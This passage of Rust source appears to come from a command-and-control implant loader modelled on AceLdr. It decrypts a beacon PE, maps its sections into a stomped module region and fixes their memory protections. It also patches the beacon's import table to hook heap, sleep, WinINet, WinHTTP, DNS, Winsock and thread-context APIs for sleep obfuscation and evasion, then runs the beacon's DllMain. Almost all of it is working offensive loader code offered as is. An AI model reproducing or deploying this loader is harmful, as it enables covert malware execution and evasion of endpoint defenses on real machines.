let _ = api.ntdll.NtFreeVirtualMemory(-1isize as HANDLE, &mut dec_buffer, &mut free_size, MEM_RELEASE);
|
||||
dbg_print!(&*api, b"[LDR] Temp buffer freed\n\0");
|
||||
|
||||
dbg_print!(&*api, b"[LDR] Executing DllMain\n\0");
|
||||
|
||||
// Step 18: Execute beacon DllMain
|
||||
execute_beacon(C_PTR((map as usize).wrapping_add(entry_rva)));
|
||||
}
|
||||
|
||||
/// Sets memory protection for each beacon section based on PE characteristics.
|
||||
///
|
||||
/// Must be called after `copy_beacon_sections` and before `fill_stub`.
|
||||
/// This ensures STUB stores correct protection values for sleep mask to use.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `api` - Resolved API structure with NtProtectVirtualMemory
|
||||
/// * `buffer` - Base address where beacon is mapped (stomp target)
|
||||
/// * `reg` - Region info containing NT headers and section offsets
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe fn fix_section_permissions(api: &mut Api, buffer: PVOID, reg: &Reg) {
|
||||
let nt = reg.nt;
|
||||
let num_sections = (*nt).FileHeader.NumberOfSections as usize;
|
||||
let first_section = IMAGE_FIRST_SECTION(nt);
|
||||
|
||||
dbg_print!(
|
||||
api,
|
||||
b"[LDR:FIX_PERM] buffer: %p, exec: %p, sections: %d\n\0",
|
||||
buffer,
|
||||
reg.exec,
|
||||
num_sections
|
||||
);
|
||||
|
||||
for i in 0..num_sections {
|
||||
let section = first_section.add(i);
|
||||
let mut section_base =
|
||||
(buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID;
|
||||
let mut section_size = (*section).Misc.virtual_size as SIZE_T;
|
||||
let new_protect = section_characteristics_to_protect((*section).Characteristics);
|
||||
let mut old_protect: ULONG = 0;
|
||||
|
||||
let _status = api.ntdll.NtProtectVirtualMemory(
|
||||
-1isize as HANDLE,
|
||||
&mut section_base as *mut PVOID,
|
||||
&mut section_size as *mut SIZE_T,
|
||||
new_protect,
|
||||
&mut old_protect as *mut ULONG,
|
||||
);
|
||||
|
||||
dbg_print!(
|
||||
api,
|
||||
b"[LDR:FIX_PERM] [%d] base: %p, prot: %x -> %x\n\0",
|
||||
i,
|
||||
section_base,
|
||||
old_protect,
|
||||
new_protect
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Patches specific IAT entries to redirect beacon API calls through our hooks.
|
||||
///
|
||||
/// This function only installs hooks - import resolution and relocation are handled
|
||||
/// separately in the loader function.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `map` - Base address of the mapped beacon image
|
||||
/// * `buffer` - Base address of the stomped region (for calculating hook addresses)
|
||||
/// * `nt` - Pointer to beacon's NT headers
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe fn install_hooks(map: PVOID, buffer: PVOID, nt: *mut IMAGE_NT_HEADERS) {
|
||||
let import_dir = &(*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
if import_dir.VirtualAddress != 0 {
|
||||
let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8;
|
||||
let stub_base = StubAddr();
|
||||
|
||||
// Calculate hook address in copied stub region
|
||||
let hook_addr = |hook_fn: *const ()| -> *mut u8 {
|
||||
let hook_offset = (hook_fn as usize).wrapping_sub(stub_base);
|
||||
(buffer as usize + hook_offset) as *mut u8
|
||||
};
|
||||
|
||||
// Heap hooks - redirect allocations to isolated heap
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("GetProcessHeap"),
|
||||
hook_addr(GetProcessHeap_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("RtlAllocateHeap"),
|
||||
hook_addr(RtlAllocateHeap_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("HeapAlloc"),
|
||||
hook_addr(HeapAlloc_Hook as *const ()),
|
||||
);
|
||||
|
||||
// Sleep hooks - enable sleep obfuscation
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("Sleep"),
|
||||
hook_addr(Sleep_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("NtWaitForSingleObject"),
|
||||
hook_addr(NtWaitForSingleObject_Hook as *const ()),
|
||||
);
|
||||
|
||||
// WinINet hooks
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("InternetConnectA"),
|
||||
hook_addr(InternetConnectA_Hook as *const ()),
|
||||
);
|
||||
|
||||
// WinINet hooks
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("InternetOpenA"),
|
||||
hook_addr(InternetOpenA_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("HttpOpenRequestA"),
|
||||
hook_addr(HttpOpenRequestA_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("HttpSendRequestA"),
|
||||
hook_addr(HttpSendRequestA_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("HttpQueryInfoA"),
|
||||
hook_addr(HttpQueryInfoA_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("InternetReadFile"),
|
||||
hook_addr(InternetReadFile_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("InternetQueryDataAvailable"),
|
||||
hook_addr(InternetQueryDataAvailable_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("InternetCloseHandle"),
|
||||
hook_addr(InternetCloseHandle_Hook as *const ()),
|
||||
);
|
||||
|
||||
// WinHTTP hooks
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpOpen"),
|
||||
hook_addr(WinHttpOpen_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpConnect"),
|
||||
hook_addr(WinHttpConnect_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpOpenRequest"),
|
||||
hook_addr(WinHttpOpenRequest_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpSendRequest"),
|
||||
hook_addr(WinHttpSendRequest_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpReceiveResponse"),
|
||||
hook_addr(WinHttpReceiveResponse_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpQueryHeaders"),
|
||||
hook_addr(WinHttpQueryHeaders_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpReadData"),
|
||||
hook_addr(WinHttpReadData_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpQueryDataAvailable"),
|
||||
hook_addr(WinHttpQueryDataAvailable_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WinHttpCloseHandle"),
|
||||
hook_addr(WinHttpCloseHandle_Hook as *const ()),
|
||||
);
|
||||
|
||||
// DNS hooks
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("DnsExtractRecordsFromMessage_UTF8"),
|
||||
hook_addr(DnsExtractRecordsFromMessage_UTF8_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("DnsWriteQuestionToBuffer_UTF8"),
|
||||
hook_addr(DnsWriteQuestionToBuffer_UTF8_Hook as *const ()),
|
||||
);
|
||||
|
||||
// Winsock hook
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WSASocketA"),
|
||||
hook_addr(WSASocketA_Hook as *const ()),
|
||||
);
|
||||
|
||||
// Wait hooks
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WaitForSingleObject"),
|
||||
hook_addr(WaitForSingleObject_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("WaitForSingleObjectEx"),
|
||||
hook_addr(WaitForSingleObjectEx_Hook as *const ()),
|
||||
);
|
||||
|
||||
// Memory and thread hooks
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("NtProtectVirtualMemory"),
|
||||
hook_addr(NtProtectVirtualMemory_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("SystemFunction032"),
|
||||
hook_addr(SystemFunction032_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("NtGetContextThread"),
|
||||
hook_addr(NtGetContextThread_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("NtSetContextThread"),
|
||||
hook_addr(NtSetContextThread_Hook as *const ()),
|
||||
);
|
||||
hook_iat(
|
||||
map as _,
|
||||
import_dir_addr,
|
||||
hash_str!("NtContinue"),
|
||||
hook_addr(NtContinue_Hook as *const ()),
|
||||
);
|
||||
|
||||
// Thread exit hook (not ready - needs cleanup logic)
|
||||
// hook_iat(map as _, import_dir_addr, hash_str!("ExitThread"), hook_addr(ExitThread_Hook as *const ()));
|
||||
}
|
||||
}
|
||||
|
||||
/// Call beacon DllMain with PROCESS_ATTACH then THREAD_ATTACH (AceLdr semantics).
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe extern "C" fn execute_beacon(entry: PVOID) {
|
||||
let Ent: DLLMAIN = core::mem::transmute(entry);
|
||||
|
||||
// Call DllMain with PROCESS_ATTACH
|
||||
Ent(
|
||||
OFFSET(Start as *const () as usize) as *mut c_void,
|
||||
1,
|
||||
core::ptr::null_mut(),
|
||||
);
|
||||
|
||||
// Immediately follow with THREAD_ATTACH to mirror AceLdr
|
||||
Ent(
|
||||
OFFSET(Start as *const () as usize) as *mut c_void,
|
||||
4,
|
||||
core::ptr::null_mut(),
|
||||
);
|
||||
}
|
||||
|
||||
/// STUB metadata structure placed at the start of the allocated region.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// The STUB provides a position-independent way for hooks to access runtime data:
|
||||
/// - Memory region bounds for sleep obfuscation encryption
|
||||
/// - Custom heap handle for beacon allocations
|
||||
/// - PE section info for per-section memory protection during sleep
|
||||
///
|
||||
/// # Memory Layout
|
||||
///
|
||||
/// ```text
|
||||
/// [STUB metadata][Loader code][Hook code][Beacon PE sections]
|
||||
/// ^-- buffer ^-- executable region ^-- beacon image
|
||||
/// ```
|
||||
///
|
||||
/// # How Hooks Access STUB
|
||||
///
|
||||
/// Hooks use `StubAddr()` to locate this struct at runtime via RIP-relative addressing.
|
||||
/// This enables position-independent access without relocations.
|
||||
#[repr(C, packed)]
|
||||
pub struct STUB {
|
||||
/// Region base for sleep encryption bounds (stub starts here)
|
||||
pub stub_beacon_address: ULONG_PTR,
|
||||
/// Region size for sleep encryption bounds (stub + beacon)
|
||||
pub stub_beacon_size: ULONG_PTR,
|
||||
/// Size of the stub/loader code (beacon starts at stub_beacon_address + stub_size)
|
||||
pub stub_size: ULONG_PTR,
|
||||
/// Isolated heap for beacon allocations
|
||||
pub beacon_heap_handle: HANDLE,
|
||||
/// Number of PE sections in the beacon
|
||||
pub num_sections: u32,
|
||||
/// PE section metadata for per-section protection changes
|
||||
pub sections: [MemorySection; 20],
|
||||
|
||||
/// Api pointer - points to inline storage at STUB+0x20C (reserved in ASM).
|
||||
/// No separate allocation; Api lives in the STUB region itself.
|
||||
/// After Step 15 this region is RX; wrappers copy Config to stack before spoofed calls.
|
||||
pub api: *mut Api,
|
||||
}
|
||||
|
||||
/// Type alias for pointer to STUB
|
||||
pub type PSTUB = *mut STUB;
|
||||
|
||||
/// Populates STUB metadata for runtime access by hooks.
|
||||
///
|
||||
/// Writes beacon region bounds, heap handle, and section metadata into the
|
||||
/// STUB structure at the start of the allocated region. This data is read
|
||||
/// by hooks (e.g., `Sleep_Hook`) via RIP-relative addressing.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `buffer` - Base address of the stomped region (STUB lives here)
|
||||
/// * `heap` - Handle to the isolated beacon heap (from `RtlCreateHeap`)
|
||||
/// * `reg` - Region info containing PE headers and calculated sizes
|
||||
///
|
||||
/// # STUB Fields Populated
|
||||
///
|
||||
/// - `stub_beacon_address` - Base of the entire region
|
||||
/// - `stub_beacon_size` - Total size (stub + beacon)
|
||||
/// - `stub_size` - Size of stub/loader code (beacon offset)
|
||||
/// - `beacon_heap_handle` - Isolated heap for beacon allocations
|
||||
/// - `num_sections` - Number of PE sections (capped at 20)
|
||||
/// - `sections[]` - Per-section metadata (base, size, protection)
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe fn fill_stub(buffer: PVOID, heap: HANDLE, reg: &Reg, api: &Api) {
|
||||
let stub_ptr = buffer as PSTUB;
|
||||
|
||||
(*stub_ptr).stub_beacon_address = buffer as usize;
|
||||
(*stub_ptr).stub_beacon_size = reg.full as usize;
|
||||
(*stub_ptr).stub_size = reg.exec as usize;
|
||||
(*stub_ptr).beacon_heap_handle = heap;
|
||||
|
||||
// Copy Api into STUB's inline storage (reserved space at STUB + size_of::<STUB>())
|
||||
let api_storage = (stub_ptr as usize + core::mem::size_of::<STUB>()) as *mut u8;
|
||||
memcopy(
|
||||
api_storage,
|
||||
api as *const Api as *const u8,
|
||||
core::mem::size_of::<Api>() as u32,
|
||||
);
|
||||
(*stub_ptr).api = api_storage as *mut Api;
|
||||
|
||||
// Populate sections now while we have PE headers
|
||||
let nt = reg.nt;
|
||||
let num_sections = (*nt).FileHeader.NumberOfSections as usize;
|
||||
let first_section = IMAGE_FIRST_SECTION(nt);
|
||||
|
||||
(*stub_ptr).num_sections = num_sections.min(20) as u32;
|
||||
|
||||
for i in 0..num_sections.min(20) {
|
||||
let section = first_section.add(i);
|
||||
|
||||
(*stub_ptr).sections[i].base_address =
|
||||
(buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID;
|
||||
(*stub_ptr).sections[i].size = (*section).Misc.virtual_size as SIZE_T;
|
||||
(*stub_ptr).sections[i].current_protect =
|
||||
section_characteristics_to_protect((*section).Characteristics);
|
||||
(*stub_ptr).sections[i].previous_protect =
|
||||
section_characteristics_to_protect((*section).Characteristics);
|
||||
}
|
||||
}
|
||||
|
||||
/// Copies beacon PE sections from the decrypted image to the stomped module region.
|
||||
///
|
||||
/// Mirrors AceLdr semantics: PE headers remain in the temp buffer; only raw
|
||||
/// section data is copied to their respective VirtualAddress offsets.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `buffer` - Base of the stomped module region (STUB starts here)
|
||||
/// * `reg` - Region info with PE headers and exec offset
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Pointer to the mapped beacon image (buffer + exec offset).
|
||||
#[link_section = ".text$B"]
|
||||
unsafe fn copy_beacon_sections(buffer: PVOID, reg: &Reg) -> PVOID {
|
||||
// Step 1: the mapped beacon lives after the stub exec region
|
||||
let map = (buffer as usize).wrapping_add(reg.exec as usize) as *mut u8;
|
||||
|
||||
// IMPORTANT: Zero the entire beacon region first, OTHERWISE WE CRASH
|
||||
let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize;
|
||||
memzero(map, size_of_image as u32);
|
||||
|
||||
let nt_headers = reg.nt as *const IMAGE_NT_HEADERS;
|
||||
let num_sections = (*nt_headers).FileHeader.NumberOfSections as usize;
|
||||
|
||||
// Step 2: get the first section header
|
||||
let first_section = (nt_headers as usize + core::mem::size_of::<IMAGE_NT_HEADERS>())
|
||||
as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
// Step 3: lay out each raw section at its VirtualAddress
|
||||
for i in 0..num_sections {
|
||||
let section = first_section.add(i);
|
||||
let destination = map.add((*section).VirtualAddress as usize);
|
||||
let source = (reg.dos as usize + (*section).PointerToRawData as usize) as *const u8;
|
||||
let raw_size = (*section).SizeOfRawData as usize;
|
||||
if raw_size > 0 {
|
||||
memcopy(destination, source, raw_size as u32);
|
||||
}
|
||||
}
|
||||
map as PVOID
|
||||
}
|
||||
|
||||
/// Copies the stub region (STUB metadata + loader + hooks) to the stomped module.
|
||||
///
|
||||
/// The stub spans from `StubAddr()` to `G_END()` and contains:
|
||||
/// - STUB metadata structure (filled later by `fill_stub`)
|
||||
/// - Loader code (.text$B section)
|
||||
/// - Hook code (.text$D section)
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `buffer` - Destination address in the stomped module's .text section
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe fn copy_stub(buffer: PVOID) {
|
||||
let destination = buffer as *mut u8;
|
||||
let source = StubAddr() as *const u8;
|
||||
let length = (G_END() - StubAddr()) as usize;
|
||||
|
||||
// Copy the stub (loader + hooks) contiguously
|
||||
memcopy(destination, source, length as u32);
|
||||
}
|
||||
|
||||
/// Region calculation results for loader memory layout.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Stores calculated sizes and pointers for the loader's memory allocation.
|
||||
/// All sizes are aligned to 4KB page boundaries for Windows memory management.
|
||||
///
|
||||
/// # Memory Layout
|
||||
///
|
||||
/// ```text
|
||||
/// [Stub exec region ][Beacon PE image ]
|
||||
/// |<---- exec ------->||<-- full - exec ----->|
|
||||
/// | || |
|
||||
/// buffer map buffer+full
|
||||
/// ```
|
||||
///
|
||||
/// # Fields
|
||||
///
|
||||
/// * `exec` - Size of stub executable region (loader + hooks), 4KB-aligned
|
||||
/// * `full` - Total size (stub + beacon image), 4KB-aligned
|
||||
/// * `nt` - Pointer to beacon's NT headers in the embedded file
|
||||
/// * `dos` - Pointer to beacon's DOS header in the embedded file
|
||||
#[repr(C)]
|
||||
pub struct Reg {
|
||||
/// Aligned stub size (exec region) in bytes, 4KB-aligned.
|
||||
exec: SIZE_T,
|
||||
|
||||
/// Total aligned size for stub + beacon, 4KB-aligned.
|
||||
full: SIZE_T,
|
||||
|
||||
/// Pointer to beacon NT headers in the embedded file image.
|
||||
nt: *mut IMAGE_NT_HEADERS,
|
||||
|
||||
/// Pointer to beacon DOS header in the embedded file image.
|
||||
dos: *mut IMAGE_DOS_HEADER,
|
||||
}
|
||||
|
||||
/// Calculate stub size (exec) and total size (exec+image) for memory allocation.
|
||||
///
|
||||
/// This function calculates memory layout sizes based on the decrypted beacon's
|
||||
/// PE headers (already set in reg.dos and reg.nt from the temp decrypt buffer).
|
||||
/// Aligns sizes to 4KB pages for Windows memory management.
|
||||
#[link_section = ".text$B"]
|
||||
unsafe fn calculate_regions(reg: &mut Reg) {
|
||||
// Step 1: Get stub size (from start to end of CONFIG)
|
||||
let stub_start = StubAddr();
|
||||
let stub_end = G_END().wrapping_add(core::mem::size_of::<Config>());
|
||||
let stub_size = stub_end - stub_start;
|
||||
|
||||
// Step 2: Get beacon image size from PE headers (from decrypted temp buffer)
|
||||
let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize;
|
||||
|
||||
// Step 3: Align to 4K boundaries (WinPE defaults)
|
||||
let align4k = |v: usize| (v + 0xFFF) & !0xFFF;
|
||||
let exec_aligned = align4k(stub_size);
|
||||
let image_aligned = align4k(size_of_image);
|
||||
|
||||
reg.exec = exec_aligned as SIZE_T;
|
||||
reg.full = (exec_aligned + image_aligned) as SIZE_T;
|
||||
}
|
||||
Reference in New Issue
Block a user